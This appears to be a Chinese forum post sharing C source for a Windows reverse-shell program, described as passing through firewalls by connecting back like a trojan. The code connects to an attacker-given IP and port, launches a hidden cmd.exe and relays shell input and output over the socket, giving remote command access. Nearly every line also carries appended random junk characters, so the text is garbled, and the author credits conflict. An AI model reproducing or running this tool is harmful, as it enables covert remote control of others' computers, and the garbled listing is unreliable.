这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6
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/* ============================== wQ-BY"cK\
Rebound port in Windows NT zBrIhL]95
By wind,2006/7 tIA)LF
===============================*/ vr>J$(F
#include WOYZ
#include i(u zb<
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#pragma comment(lib,"wsock32.lib") CE183l\
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void OutputShell(); ,0L< wa
SOCKET sClient; 11$v~<M
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 84(jg P
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void main(int argc,char **argv) PC=s:`Y}R
{ s5b<KQ.
WSADATA stWsaData; !/F-EJOH6C
int nRet; b9f5
SOCKADDR_IN stSaiClient,stSaiServer; 11J:>A5zt
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if(argc != 3) }WQ:Rmi
{ $~EY:
printf("Useage:\n\rRebound DestIP DestPort\n"); .GnoK?
return; xAsy07J?
} .<P@6Jq
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WSAStartup(MAKEWORD(2,2),&stWsaData); }Ny~.EV5^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yC}x6xG
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stSaiClient.sin_family = AF_INET; B*Q.EKD8s
stSaiClient.sin_port = htons(0); I#yd/d5^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wS2N,X/Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~ "~uXNd
{ ]sI{+$~:c
printf("Bind Socket Failed!\n"); |qk%UN<
return; kr
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} R[lA@q:
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stSaiServer.sin_family = AF_INET; 6Hpj&Qm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); . Vq_O
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $L"-JNS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x(zW<J5X"
{ 3'Z+PPd!
printf("Connect Error!"); U&tR1v'
return; J0Y-e39 `
} d#- <=6
OutputShell(); %ye4FwkRy
} H~qY7t
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void OutputShell() \?\q0o<V$
{ ffQ&1T<
char szBuff[1024]; dZbG#4oO
SECURITY_ATTRIBUTES stSecurityAttributes; )ULxB'Dm
OSVERSIONINFO stOsversionInfo; hWu#}iN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?@_,_gTQ
STARTUPINFO stStartupInfo; s&OwVQ<M
char *szShell; `=foB-(zt
PROCESS_INFORMATION stProcessInformation; |B*`%7{+
unsigned long lBytesRead; CV,[x[L#{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @l2AL9z$m>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3412znM&
stSecurityAttributes.lpSecurityDescriptor = 0; "V_PWEi
stSecurityAttributes.bInheritHandle = TRUE; #^/&fdK~A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lO|H:7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q ?W6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /9yA.W;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uRNc9
stStartupInfo.wShowWindow = SW_HIDE; )@Yr HS4
stStartupInfo.hStdInput = hReadPipe; Ie;}k;?-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; seH#v
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GetVersionEx(&stOsversionInfo); WxLILh
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switch(stOsversionInfo.dwPlatformId) pRdO4?l
{ &"svt2
case 1:
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szShell = "command.com"; Ts:pk
break; {z%%(,I
default: kR-5RaW
szShell = "cmd.exe"; =M9Od7\J
break; 'W j Q
} .es= w=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WaWx5Fx+
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send(sClient,szMsg,77,0); M:(k7a+[^
while(1) UIv
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{ Z-j%``I?h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pr-!otz
if(lBytesRead) Z5{M_^
{ \*w*Q(&3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CLD*\)QD\
send(sClient,szBuff,lBytesRead,0); HgX4RSU
} akQtre`5sd
else Hw/1~O$T
{ oZ~M`yOz.
lBytesRead=recv(sClient,szBuff,1024,0); ^\\cGJ&8c
if(lBytesRead<=0) break; -OuMC&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [XQoag;!
} #PmF@
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} .,x08M
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return; ]Ikj Z=
}